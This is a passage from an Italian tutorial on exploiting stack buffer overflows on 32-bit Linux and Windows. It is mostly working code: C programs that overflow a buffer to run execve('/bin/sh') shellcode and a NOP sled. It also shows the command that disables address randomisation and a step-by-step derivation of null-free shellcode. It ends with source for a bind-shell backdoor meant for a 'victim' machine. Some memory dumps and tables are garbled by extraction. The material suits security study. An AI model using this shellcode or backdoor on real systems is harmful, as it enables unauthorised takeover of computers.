System exploitation using buffer overflow 0022FF50 0022FF54 0022FF58 0022FF5C 0022FF60 0022FF64 0022FF68 0022FF6C 0022FF70 0022FF74 0022FF78 0022FF7C 0022FF80 0022FF84 0022FF88 0022FF8C 0022FF90 0022FF94 0022FF98 0022FF9C 0022FFA0 0022FFA4 0022FFA8 0022FFAC 0022FFB0 0022FFB4 0022FFB8 0022FFBC 0022FFC0
0022FEC0 Il resto non ci interessa. 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 < La sovrascrittura è arrivata fino qui, non possiamo continuare all'infinito, 00000000 uscendo dalla zona di memoria riservata a noi, avremmo un "memory violation". 00000000 007910A8 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
L'istruzione successiva salta a 0022FEC0, ricordate? A &buffer, eseguendo i NOP che non fanno nulla. Dobbiamo invece considerare la possibilità di inserirvi opcode interpretabili dal processore, che faranno le operazioni che desideriamo. 0x05] (Arch: LINUX) - Esecuzione di shellcode Up --------- test05.c -----------------------#include <stdio.h> // For Debian 5 only #define SIZE 128 #define TOO_LARGE 133 #define TOOLARGE_ELEM (TOO_LARGE / 4) int i; char large_string[TOO_LARGE]; char shellcode[] = "\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e" "\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"; int main() { char buffer[SIZE]; long *long_ptr = (long*)large_string; for(i=0; i<TOOLARGE_ELEM;i++) *(long_ptr+i) = (int)buffer; Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 17 di 193
System exploitation using buffer overflow
for(i=0;i<strlen(shellcode);i++) large_string[i] = shellcode[i]; for(i=0;i<TOO_LARGE;i++) buffer[i] = large_string[i]; } --------- test05.c END --------------------Ci troviamo su una piattaforma linux Debian. Quello che proviamo a fare ora è calcolare con accuratezza per mezzo di un disassemblatore la posizione dell'indirizzo di buffer all'interno dello stack. Nell'ultimo esempio avevamo inserito nell'array una sequenza di NOP, quindi di fatto non facevamo nulla di speciale se non provocare una memory exception una volta che la CPU supera la sequenza di NOP, trovandosi ad eseguire una serie di istruzioni senza senso per il contesto in cui si trova. In questo esempio, ho sostituito la sequenza di NOP con codici esadecimali in grado, se eseguiti, di avviare una shell. Ho deciso alla fine di rimandare la spiegazione di come ottenere gli opcode per la shell successivamente. Quindi utilizzo una cosa che ancora non ho spiegato, ma in questo modo concludiamo un primo discorso sullo stack. Devo fare alcune premesse prima di continuare. Prima di eseguire questo test occorre disabilitare l’eventuale randomizzazione dello stack, attiva su alcune distribuzioni linux, sopratutto le piu' recenti. (kernel > 2.4) Si tratta di modificare il parametro del kernel che governa questo sistema di protezione. Il comando per farlo è il seguente: "echo 0 > /proc/sys/kernel/randomize_va_space". Se non lo si fa il test non funzionerà, dato che il meccanismo "pseudo-casuale" generà il layout di indirizzi virtuali in modo random. Detto questo procediamo con la compilazione abilitando anche le info di debug: gcc -ggdb test05.c -o test Il risultato è il seguente: matteo@HackLab:~/HackerLab/ShellCode$ ./test sh-3.2$ exit exit matteo@HackLab:~/HackerLab/ShellCode$ Non ripeto tutta la spiegazione di quello che accade in memoria perchè è assolutamente identico a ciò che è successo nell'esempio precedente, solo che ora i codici che abbiamo inserito non erano NOP ma hanno aperto una shell locale. La shell generata ha gli stessi permessi che ha il nostro programma di test. Con gdb possiamo dare un occhio allo stato dello stack appena prima del ritorno da main: (gdb) x/100 0xbffff570: 0xbffff580: 0xbffff590: 0xbffff5a0: 0xbffff5b0: 0xbffff5c0: 0xbffff5d0: 0xbffff5e0: 0xbffff5f0: 0xbffff600:
$esp 0x08049680 0x00000000 0x00000000 0x00000000 /---0x00000000------0x00000000------0xbffff620---->>0x2f68c031 << --- La shell code | 0x682f6873 0x6e69622f 0x4388e389 0x89535007 | | 0x0bb099e1 0xdb3180cd 0xcd40d889 0xbffff580 | | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c | | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c | | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c | | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c | | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c | \---0xbffff58c<-\ 0xbffff58c 0xbffff58c 0xbffff58c |
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 18 di 193
System exploitation using buffer overflow 0xbffff610: 0xbffff620: 0xbffff630: ...
0xbffff600 0x080484a0 0x00000001
| | | | |
0xb7fd0ff4 0x080482f0 0xbffff6b4
0xbffff688 0xbffff688 0xbffff6bc
0xb7e90455 0xb7e90455 0xb7fe2b38
| | | | |
L'istruzione successiva non la possiamo vedere con gdb, perchè la cpu salta nel nostro array di OPCODE. Precisamente a 0xbffff58c l'indirizzo con il quale abbiamo riempito il buffer più largo. | |
| |
Diamo un occhio a dove si trova ESP dopo aver detto a gdb di proseguire con lo step successivo, con: (gdb) n | | |
| | | |
(gdb) print $esp | $1 = (void *) 0xbffff600
Punta a dove si dovrebbe trovare l'indirizzo di ritorno di main() ma lì, se guardiamo nello stack, c'è l’indirizzo di buffer.----------------------------------/ A questo punto la CPU, credendo di ritornare da main(), esegue invece la nostra shell. Nella realtà le cose sono più complesse di così perchè non abbiamo sempre la possibilità di determinare con esattezza dove il nostro indirizzo di ritorno verrà collocato nello stack. Pertanto l'esempio ed il test non è portabile su un'altra piattaforma dato che cambierebbero le distanze degli indirizzi, ed andrebbero ricalcolat per ritornare ad avere il test funzionante. Nell'esempio successivo vedremo come ovviare a questo problema. 0x06] (Arch: LINUX) - Byte NOP Up --------- test06.c -----------------------#include <stdio.h> #include <stdlib.h> #define SIZE 128 #define LARGE_SIZE 228 // Linux shellcode con tecnica dei NOP int i; char large_string[LARGE_SIZE]; char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e" "\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"; // Ritorna la cima dello stack al momento della sua chiamata long get_sp() { asm("mov %esp, %eax"); } int main(int argc, char *argv[]) Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 19 di 193
System exploitation using buffer overflow
{ // Come solito allochiamo il nostro buffer char buffer[SIZE]; // Check argomento if(argc < 1) {fprintf(stderr,"Arguments required!\n"); exit(-1); } // Riempio large_string con l'indirizzo presunto a cui si trova buffer long *long_ptr = (long*)large_string; for(i=0; i<(LARGE_SIZE/4);i++) *(long_ptr+i) = get_sp() + atoi(argv[1]); // Sistemo la mia shellcode in large_string for(i=0;i<strlen(shellcode);i++) large_string[i] = shellcode[i]; // Eseguo la copia non controllata (in alternativa possiamo usare memcpy() che non è // sensibile ai byte nulli ) for(i=0;i<LARGE_SIZE;i++) buffer[i] = large_string[i]; } --------- test06.c END --------------------In questo ulteriore esempio ho introdotto uno dei metodi per aumentare notevolmente le possibilità di successo durante un attacco basato su buffer overflow. Vediamo di parlare delle differenze con il programma precedente; a differenza di questo, nel precedente capitolo ho ricorso a parecchia pazienza più disassemblatore per individuare l'indirizzo esatto di buffer in memoria. Ho quindi calcolato l'offset necessario a fare in modo che tale indirizzo, memorizzato in large_string, andasse a sovrascrivere l'indirizzo di ritorno di main() al momento della copia incontrollata di large_string in buffer. Vediamo se riesco a rendermi più chiaro con uno schema: Dopo l'ultima istruzione prima di ret to main() la situazione nello stack è ipoteticamente la seguente: (chiamiamolo Tr) Indirizzo di buffer
Fine di buffer
Ret
Indirizzo di ritorno
Indirizzi
Stack
0x?
0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90 [------------ Shellcode ----------] Ret|Ret|Ret|Ret|Ret|Ret|Ret|Ret|Ret|Ret
in EIP
Esecuzione à
0x?
Function () {…} END
Il codice esadecimale 0x90 corrisponde all'istruzione assembly NOP, ovvero non fare nulla. La CPU prosegue fino alla shellcode eseguendola. Abbiamo così ottenuto un sistema che ci evita il dover sapere per forza l'indirizzo esatto del buffer. Indaghiamo nello stack all'istante Tr: 0022FE9C 0022FEA0 0022FEA4
00000010 77C82D68 00381080
ntdll.77C82D68
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 20 di 193
System exploitation using buffer overflow
0022FEA8 0022FEAC 0022FEB0 0022FEB4 0022FEB8 0022FEBC 0022FEC0 0022FEC4 0022FEC8 0022FECC 0022FED0 0022FED4 0022FED8 0022FEDC 0022FEE0 0022FEE4 0022FEE8 0022FEEC 0022FEF0 0022FEF4 0022FEF8 0022FEFC 0022FF00 0022FF04 0022FF08 0022FF0C 0022FF10 0022FF14 0022FF18 0022FF1C 0022FF20 0022FF24 0022FF28 0022FF2C 0022FF30 0022FF34 0022FF38 0022FF3C 0022FF40 0022FF44 0022FF48 0022FF4C 0022FF50 0022FF54 0022FF58 0022FF5C 0022FF60 0022FF64 0022FF68 0022FF6C 0022FF70 0022FF74 0022FF78 0022FF7C 0022FF80 0022FF84 0022FF88
00381088 00404070 SimpleTe.00404070 90909090 << ---- L'indirizzo di buffer 90909090 90909090 90909090 90909090 90909090 90909090 90909090 << -----\ Qui punterà EIP all'istante Tr + 1 90909090 | 90909090 | 90909090 | 90909090 | 90909090 | 90909090 | 90909090 | 90909090 | 90909090 | 90909090 | 90909090 | 90909090 | 90909090 | 2F68C031 | 682F6873 | 6E69622F | 4388E389 | 89535007 | 0BB099E1 | DB3180CD | CD40D889 | 0022FE80 | 0022FECC | 0022FECC | 0022FECC | 0022FECC | 0022FECC | 0022FECC | 0022FECC | 0022FECC | 0022FECC | 0022FECC << - Qui c'era l'indirizzo di ritorno di main ma abbiamo sovrascritto con 0022FECC il nostro presunto indirizzo di buffer. 0022FECC Dovrebbe essere chiaro a che cosa servono i NOP inseriti prima della 0022FECC shellcode. Ci servono a fare in modo che il nostro indirizzo 0022FECC possa essere non preciso. 0022FECC Questo aumenta notevolmente il numero delle possibilità di successo. 0022FECC 0022FECC 0022FECC 0022FECC 0022FECC 0022FECC 0022FECC 0022FECC 0022FECC 0022FECC
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 21 di 193
System exploitation using buffer overflow
0022FF8C 0022FF90 0022FF94 0022FF98 0022FF9C 0022FFA0
0022FECC 0022FECC /0022FFD4 |77C8B3F5 |7FFD7000 |771D9D52
RETURN to ntdll.77C8B3F5
Steppando in avanti possiamo vedere come la CPU cavalca nel flusso di istruzioni tra i NOP e arriva alla shellcode, il seguente è un frammento del flusso di istruzioni della CPU: 0022FEF4 0022FEF5 0022FEF6 0022FEF7 0022FEF8 0022FEF9 0022FEFA 0022FEFB 0022FEFC 0022FEFD 0022FEFE 0022FEFF 0022FF00 0022FF01 0022FF02 0022FF03 0022FF04 0022FF06 0022FF0B 0022FF10 0022FF12 0022FF15 0022FF16 0022FF17 0022FF19 0022FF1A 0022FF1C 0022FF1E 0022FF20 0022FF22 0022FF23
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31C0 68 2F73682F 68 2F62696E 89E3 8843 07 50 53 89E1 99 B0 0B CD 80 31DB 89D8 40 CD 80
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP XOR EAX,EAX << Eccoci qui! Il nostro codice eseguirà una shell. PUSH 2F68732F PUSH 6E69622F MOV EBX,ESP MOV BYTE PTR DS:[EBX+7],AL PUSH EAX PUSH EBX MOV ECX,ESP CDQ MOV AL,0B INT 80 XOR EBX,EBX MOV EAX,EBX INC EAX INT 80
0x07] (Arch: LINUX) - Realizzare una shellcode Up Prima di fornire un esempio completo di exploit e prima di parlare di altro mi sento in dovere di mostrare un tutorial di come realizzare una stringa di caratteri esadecimali adatta ai casi che abbiamo visto fino ad ora. Come primo esempio, vediamo di ottenere una shellcode. Proprio quella utilizzata negli ultimi due esempi precedenti. # Passo 1 Prima di tutto occorre pensare esattamente alla funzione che vogliamo eseguire. Il modo migliore di procedere è quindi quello di scriverci prima il programma in linguaggio C. Un programma atto ad aprire una shell è il seguente: Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 22 di 193
System exploitation using buffer overflow
--------- shell.c -----------------------void main() { char* name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0],name,NULL); } --------- shell.c END -------------------Il programma utilizza la funzione execve() per eseguire sh. La shell linux appunto. Gli argomenti sono la stringa che riporta tutta la path del programma, l'indirizzo di questa e il parametro NULL. Vi riporto la definizione della sintassi completa: int execve( const char *filename, char *const argv [], char *const envp[] ); “execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form "#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename. argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both, argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program's main function, when it is defined as int main(int argc, char *argv[], char *envp[]). execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded. The program invoked inherits the calling process's PID, and any open file descriptors that are not set to close on exec. Signals pending on the calling process are cleared. Any signals set to be caught by the calling process are reset to their default behaviour. The SIGCHLD signal (when set to SIG_IGN) may or may not be reset to SIG_DFL.” Una volta scritto il programma compiliamolo, $ gcc -static -ggdb shell.c -o shellcode Una volta fatto dobbiamo capire come il compilatore traduce il programma in codice macchina. Le opzioni che ho usato durante la compilazione sono molto importanti. "-static" permette di compilare in modo statico il programma. Come sapete significa che le funzioni esterne ( come execve() ) saranno importate della libreria di sistema e aggiunte al nostro programma. Non saranno chiamate quando necessario. Questo a lato pratico viene fatto per aumentarne la velocità di caricamento e per evitare problemi di dipendenza. Nel nostro caso utilizziamo questa modalità solo per poter poi vedere il codice di execve(). Difatti, essendo la funzione ora inglobata nel nostro file, con gdb potremo disassemblarla. "-ggdb" specifica di inserire nel file prodotto le info di debug. # Passo 2 Procediamo quindi con gdb e disassembliamo: $ gdb shellcode Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 23 di 193
System exploitation using buffer overflow
GNU gdb (GDB) 7.0-ubuntu Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /media/MATTEO/Hack_environment/shellcode...done. (gdb) disass main Dump of assembler code for function main: 0x08048250 <main+0>: push %ebp 0x08048251 <main+1>: mov %esp,%ebp 0x08048253 <main+3>: and $0xfffffff0,%esp 0x08048256 <main+6>: sub $0x20,%esp 0x08048259 <main+9>: movl $0x80a6f08,0x18(%esp) 0x08048261 <main+17>: movl $0x0,0x1c(%esp) 0x08048269 <main+25>: mov 0x18(%esp),%eax 0x0804826d <main+29>: movl $0x0,0x8(%esp) 0x08048275 <main+37>: lea 0x18(%esp),%edx 0x08048279 <main+41>: mov %edx,0x4(%esp) 0x0804827d <main+45>: mov %eax,(%esp) 0x08048280 <main+48>: call 0x804f560 <execve> 0x08048285 <main+53>: leave 0x08048286 <main+54>: ret End of assembler dump. (gdb) disass execve Dump of assembler code for function execve: 0x0804f560 <execve+0>: push %ebp 0x0804f561 <execve+1>: mov %esp,%ebp 0x0804f563 <execve+3>: mov 0x10(%ebp),%edx 0x0804f566 <execve+6>: push %ebx 0x0804f567 <execve+7>: mov 0xc(%ebp),%ecx 0x0804f56a <execve+10>: mov 0x8(%ebp),%ebx 0x0804f56d <execve+13>: mov $0xb,%eax 0x0804f572 <execve+18>: int $0x80 0x0804f574 <execve+20>: cmp $0xfffff000,%eax 0x0804f579 <execve+25>: ja 0x804f57e <execve+30> 0x0804f57b <execve+27>: pop %ebx 0x0804f57c <execve+28>: pop %ebp 0x0804f57d <execve+29>: ret 0x0804f57e <execve+30>: mov $0xffffffe8,%edx 0x0804f584 <execve+36>: neg %eax 0x0804f586 <execve+38>: mov %gs:0x0,%ecx 0x0804f58d <execve+45>: mov %eax,(%ecx,%edx,1) 0x0804f590 <execve+48>: or $0xffffffff,%eax 0x0804f593 <execve+51>: jmp 0x804f57b <execve+27> End of assembler dump. (gdb) Questo metodo ci permettte di capire cosa dobbiamo fare poi. - Questo è il "PROLOGO", serve per allocare lo spazio necessario alle variabili locali: 0x08048250 <main+0>: push %ebp 0x08048251 <main+1>: mov %esp,%ebp Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 24 di 193
System exploitation using buffer overflow
0x08048253 <main+3>: and 0x08048256 <main+6>: sub
$0xfffffff0,%esp $0x20,%esp
- La seguente copia la stringa nel puntatore: 0x08048259 <main+9>: movl $0x80a6f08,0x18(%esp) <-- "ovvero: name[0] = "/bin/sh";" - Viene copiato il valore NULL nella posizione dell'array successiva: 0x08048261 <main+17>: movl $0x0,0x1c(%esp) <-- ovvero: "name[1] = NULL;" - Iniziamo a inserire nello stack in ordine inverso gli argomenti per execve(): 0x08048269 <main+25>: mov 0x18(%esp),%eax <-- viene letta dal registro l'indirizzo della stringa name[0] 0x0804826d <main+29>: movl $0x0,0x8(%esp) <-- il valore NULL viene inserito nello stack 0x08048275 <main+37>: lea 0x18(%esp),%edx <-- la stringa name[0] (non name) viene messa in edx 0x08048279 <main+41>: mov %edx,0x4(%esp) <-- la stringa name viene inserita nello stack 0x0804827d <main+45>: mov %eax,(%esp) <-- la stringa name[0] (/bin/sh) viene inserita nello stack 0x08048280 <main+48>: call 0x804f560 <execve> <-- viene chiamata execve() - Per quanto riguarda la funzione execve(), possiamo vedere anche il suo codice dato che abbiamo linkato tutto in modo statico. C'è ovviamente anche qui il prologo: 0x0804f560 <execve+0>: push %ebp 0x0804f561 <execve+1>: mov %esp,%ebp 0x0804f563 <execve+3>: mov 0x10(%ebp),%edx <-- questo dovrebbe riguardare già la preparazione di execve(), ovvero sposta in edx il null pointer. 0x0804f566 <execve+6>: push %ebx - Viene preparata la syscall execve(): 0x0804f567 <execve+7>: mov 0xc(%ebp),%ecx <-- viene messo in ecx l'indirizzo di name 0x0804f56a <execve+10>: mov 0x8(%ebp),%ebx <-- viene messo in ebx "/bin/sh/" 0x0804f56d <execve+13>: mov $0xb,%eax <-- viene copiato il valore 11 in eax (execve() è l'undicesima syscall, vedi unistd.h) 0x0804f572 <execve+18>: int $0x80 <-- syscall 11 # Passo 3 Ora che abbiamo le idee molto più chiare riguardo quello che dobbiamo fare occorre scriverci il programma direttamente in assembly. Questo deve essere fatto per vari motivi. Negli esempi che ho portato riguardo la sovrascrittura dello stack ho potuto decidere io la dimensione dei buffer creandomi una situazione "ideale". Nella realtà questo non è possibile ottenerlo. Dovremo quindi assicurarci di realizzare una shellcode più piccola possibile per lasciare largo spazio ai NOP, che, come abbiamo detto, aumentano le nostre probabilità di successo. Inoltre vedremo che la stringa non dovrà per nessun motivo contenere dei byte nulli. Perchè questo? Questo è fondamentale e da tenere bene in mente quando si realizzano shellcode, difatti le funzioni strcpy(), gets(), getws() ed altre (di fatto proprio quelle che non controllano la congruenza della dimensione dei buffer in memoria) considerano il carattere '\0' come indicatore della fine della stringa. Se la shellcode che inviamo contiene byte nulli, la copia si fermerebbe non appena incontra uno di questo byte posto a zero. Invalidando il nostro programma. Riepilogando; le operazioni da fare sono queste: - Avere una stringa terminata con NULL "/bin/sh/" da qualche parte in memoria - Avere l'indirizzo della stringa "/bin/sh" da qualche parte in memoria seguito da un long word con null - Copiare 0xb in EAX Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 25 di 193
System exploitation using buffer overflow
-
Copiare l'indirizzo della Copiare l'indirizzo della Copiare l'indirizzo della Eseguire l'istruzione int Copiare 0x1 in EAX Copiare 0x0 in EBX Eseguire l'istruzione int
stringa "/bin/sh" nel registro EBX stringa "/bin/sh" in ECX long word con NULL in EDX $0x80 $0x80
Ora, ci sono vari modi per eseguire queste operazioni scrivendo in assembly, non tutte funzioneranno sempre su tutti gli assemblatori e distribuzioni, io vi riporto quella che ho utilizzato nel mio caso. (generalmente questa dovrebbe funzionare dappertutto) Il file prodotto avrà estensione ".S": --------- shell.S -----------------------.text .globl main // Chiamata a execve(name[0],name,NULL) main: xor %eax, %eax //Azzero eax push $0x2f68732f //Inserisco la codifica di "/sh/" nello stack push $0x6e69622f //Inserisco la codifica di "/bin" nello stack mov %esp, %ebx //Prelevo dallo stack l'indirizzo della stringa "/bin/sh/" mov %al, 0x7(%ebx) //Inserisco il byte terminatore di stringa alla fine //ottenendo così la stringa C regolare: "/bin/sh0" push %eax //Inserisco eax nello stack push %ebx //Inserisco ebx nello stack la stringa mov %esp, %ecx //Prelevo dallo stack e posiziono in ecx la stringa cltd //converte una Dword in una Qword, lasciata in EDX:EAX, //cioè %eax -> %edx:%eax (grazie ad Ing. Giorgio Ober //per le delucidazioni riguardo l'istruzione ) mov $0xb, %al //Muovo il valore 11 dec. in eax (sys_call execve() ) int $0x80 //Interrupt execve() // Codice relativo alla xorl %ebx, %ebx mov %ebx, %eax inc %eax int $0x80
exit(0) //Azzero eax //Copio 0 in ebx //Incremento eax //interrupt exit()
--------- shell.S END --------------------Da notare come vado ad inserire la stringa "/bin/sh" direttamente in esadecimale. E poi vado a sistemare il byte 0, per non avere il byte nullo alla fine. Una soluzione "standard" potrebbe essere: jmp 0x26 popl %esi movl %esi, 0x8(%esi) movb $0x0, 0x7(%esi) movl $0x0, 0xc(%esi) movl $0xb, %eax movl %esi, %ebx leal 0x8(%esi), %ecx
2 1 3 4 7 5 2 3
bytes byte bytes bytes bytes bytes bytes bytes
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 26 di 193
System exploitation using buffer overflow
leal 0xc(%esi), %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call -0x2b .string \"/bin/sh\"
3 2 5 5 2 5 8
bytes bytes bytes bytes bytes bytes bytes
Dove vengono utilizzati dei salti relativi. La call dovrebbe anche salvare nello stack l'indirizzo della stringa "/bin/sh" che poi viene recuperato. A differenza del mio questo non è ancora ottimizzato e le istruzioni contengono vari byte nulli. Ecco come evitarli, Istruzione da cambiare:
Sostituire con:
movb $0x0, 0x7(%esi) movl $0x0, 0xc(%esi)
xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) ------------------------------------------------------------movl $0xb, %eax movb $0xb, %al ------------------------------------------------------------movl $0x1, %eax xorl %ebx,%ebx movl $0x0,%ebx movl %ebx,%eax inc %eax Tutte le istruzioni di destra non contengono byte nulli. Detto questo torniamo al mio codice e passiamo al passo successivo. ( magari diamo anche una collaudata all'assemby ;) ) # Passo 4 Una volta compilato l'assembly indicandogli di non creare l'eseguibile con: gcc -s -c shell.S ricaviamo con objdump i codici esadecimali: $ objdump -d shell.o shell.o:
file format elf32-i386
Disassembly of section .text: 00000000 <main>: 0: 31 c0 2: 68 2f 73 68 2f 7: 68 2f 62 69 6e c: 89 e3 e: 88 43 07 11: 50 12: 53 13: 89 e1 15: 99 16: b0 0b 18: cd 80 1a: 31 db 1c: 89 d8 Copyright Š Matteo Tosato 2010-2011
xor push push mov mov push push mov cltd mov int xor mov
%eax,%eax $0x2f68732f $0x6e69622f %esp,%ebx %al,0x7(%ebx) %eax %ebx %esp,%ecx $0xb,%al $0x80 %ebx,%ebx %ebx,%eax
tosatz@tiscali.it rev.2.2
Pag. 27 di 193
System exploitation using buffer overflow
1e: 1f:
40 cd 80
inc int
%eax $0x80
Come potete vedere il mio codice è esente da byte nulli prestandosi per i nostri test. 31 c0 68 2f 73 68 2f 68 2f 62 69 6e 89 e3 88 43 07 50 53 89 e1 99 b0 0b cd 80 31 db 89 d8 40 cd 80 Questi codici andranno inseriti nel nostro array. Per testarli si possono utilizzare puntatori a funzione usandoli in modo particolare. Il mio test: --------- test07.c -----------------------#include <stdio.h> #include <string.h> // Dichiarazione dell'array di opcode: char array[] = /* - - - >> Assembly original code: << - - - Matteo Tosato .text .globl main main: xor %eax, %eax push $0x2f68732f push $0x6e69622f mov %esp, %ebx mov %al, 0x7(%ebx) push %eax push %ebx mov %esp, %ecx cltd mov $0xb, %al int $0x80 xorl %ebx, %ebx mov %ebx, %eax inc %eax int $0x80 */ "\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e" "\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"; // un test: int main(void) { printf("\nShellcode n°1 by Tosato Matteo,\n" "\nEnvironment:\n" "\tDebian 5 - Kernel 2.6.26-2-686.\n" "Tools used:\n" "\tgcc version 4.3.2 (Debian 4.3.2-1.1),\n" "\tGNU gdb 6.8-debian\n" "\tNASM version 2.03.01 compiled on Jun 18 2008\n" "\tGNU objdump (GNU Binutils for Debian) 2.18.0.20080103\n" Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 28 di 193
System exploitation using buffer overflow
"\nwritten on 24-01-2010, 23:10\n\n" "Shellcode:\n\t"); printf("31h,c0h,68h,2fh,73h,68h,2fh,68h,2fh,62h,69h,6eh\n\t" "89h,e3h,88h,43h,07h,50h,53h,89h,e1h,99h,b0h,0bh\n\t" "cdh,80h,31h,dbh,89h,d8h,40h,cdh,80h"); printf("\n\nSize: %d bytes\n\n",strlen(array)); printf("Execute:\n\n"); (*(void(*)()) array)(); } --------- test07.c END --------------------0x08] (Arch: LINUX) - Shellcode avanzate Up Ora che sappiamo che cosa comporta scrivere una shellcode, siamo in grado di fare qualcosa di più complesso. Nel campo dei buffer overflow il massimo che possiamo sperare di ottenere è quello di avere il controllo completo della macchina attaccata, quindi la possibilità di aprire una shell. Ora riporterò una shellcode che ho realizzato recentemente, se viene trovato il modo di far eseguire questo codice, questo installa una backdoor nel computer vittima. Procedendo come solito per gradi, vi mostrerò la procedura con la quale arrivare ad ottenere i codici operativi. Steps: 1 2 3 4 5 6
socket() bind() listen() accept() dup2() execve()
Questo programma mette in ascolto un socket TCP sulla porta 43690, utilizzando un semplice client che si connette al socket verrà restituita una shell. Non viene previsto nessun controllo sugli errori e il programma è ridotto ai minimi termini per ottenere codice di dimensione e complessità più piccolo possibile. Ci faciliterà la comprensione del disassemblato. --------- test08.c -----------------------#include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int soc,cli; struct sockaddr_in serv_addr; int main() { if(fork()==0) { Copyright © Matteo Tosato 2010-2011
// n° syscall - unistd32.h // #define __NR_fork tosatz@tiscali.it rev.2.2
2
Pag. 29 di 193
System exploitation using buffer overflow
serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0; serv_addr.sin_port=0xAAAA; soc=socket(2,1,6); bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,1); cli=accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); execve("/bin/sh",0,0);
// // // // //
#define #define #define #define #define
__NR_socketcall 102 __NR_mbind 274 __NR_socketcall 102 __NR_socketcall 102 __NR_dup2 63
// #define __NR_execve
11
} } --------- test08.c END --------------------Quello che cambia dall'esempio precedente è innanzi tutto il modo in cui le syscall socket, bind, listen e accept devono essere chiamate. Viene utilizzato un unico entry point nel kernel per queste funzioni, il primo argomento sarà il numero di funzione della famiglia che verrà chiamata. E' comunque piuttosto semplice. Altra cosa che dobbiamo fare è ripassarci alcune strutture C. Le strutture non sono altro che uno spazio contiguo di variabili che possono essere recuperate tutte assieme con un solo puntatore. struct sockaddr_in { sa_family_t sin_family; // address family AF_INET in_port_t sin_port; // port in network byte order struct in_addr sin_addr; // internet address }; Internet address: struct in_addr { in_addr_t };
s_addr;
// address in network byte order
Se non avete idea di come in linguaggio assembly possono venire utilizzate utilizzate il programma seguente per windows per vedere come è in effetti molto semplice: --------- test09.c -----------------------#include <stdio.h> #include <stdlib.h> #include <winsock2.h> int main(int argc, char *argv[]) { struct sockaddr_in example; example.sin_family=2; // short sin_family example.sin_addr.s_addr=0; // preprocessor s_addr example.sin_port=0xAAAA; // u_short sin_port printf("\nsockaddr_in size: %d\nsockaddr_in address: 0x%x\n\n",sizeof(example),example); system("PAUSE"); } --------- test09.c END --------------------Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 30 di 193
System exploitation using buffer overflow
